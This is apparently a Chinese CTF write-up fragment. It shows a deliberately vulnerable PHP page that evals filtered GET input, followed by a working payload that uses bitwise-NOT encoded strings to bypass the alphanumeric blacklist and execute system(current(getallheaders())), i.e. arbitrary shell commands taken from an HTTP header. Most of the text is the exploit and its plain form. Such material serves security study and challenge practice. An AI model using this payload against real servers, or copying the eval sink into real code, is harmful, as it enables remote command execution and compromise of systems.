取反配合无参命令执行

<?php
show_source(__FILE__);
    $code = $_GET['code'];
    if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
        die(' Hello');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);

    }

?>

 payload:

[~%8c%86%8c%8b%9a%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));

payload原型为:

system(current(getallheaders()));利用二维数组进行拼接需要[!%FF]分割